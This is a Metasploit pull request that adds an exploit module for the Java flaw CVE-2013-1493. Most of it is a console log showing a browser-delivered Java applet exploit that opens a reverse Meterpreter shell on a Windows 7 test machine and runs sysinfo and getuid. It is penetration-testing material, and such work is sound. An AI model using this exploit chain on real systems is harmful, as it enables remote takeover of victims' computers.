rapid7/metasploit-framework — pull request #1672 by jvazquez-r7 (2013-03-26 23:26:19+00:00)
Title: Added module for CVE-2013-1493

Tested on W7 SP1 and WXP SP3, IE8 and Google Chrome, with Java6 and Java7 vulnerable versions.

It's a just a port from the analysis (I guess) of the exploit found in the wild at ends of Feb, first of March:

http://pastie.org/pastes/6581034

I dont know who published it, just wrote msf module from it because I guess the module for this vuln can be interesting for people to test.

```
msf exploit(java_cmm) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444
[*] Using URL: http://0.0.0.0:8080/0ttG6uDWa
[*] Local IP: http://192.168.1.129:8080/0ttG6uDWa
[*] Server started.
msf exploit(java_cmm) > [*] 192.168.1.136 java_cmm - handling request for /0ttG6uDWa
[*] 192.168.1.136 java_cmm - handling request for /0ttG6uDWa/
[*] 192.168.1.136 java_cmm - handling request for /0ttG6uDWa/HEStnqCi.jar
[*] 192.168.1.136 java_cmm - handling request for /0ttG6uDWa/HEStnqCi.jar
[*] Sending stage (752128 bytes) to 192.168.1.136
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.136:49200) at 2013-03-27 00:14:45 +0100

msf exploit(java_cmm) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez

```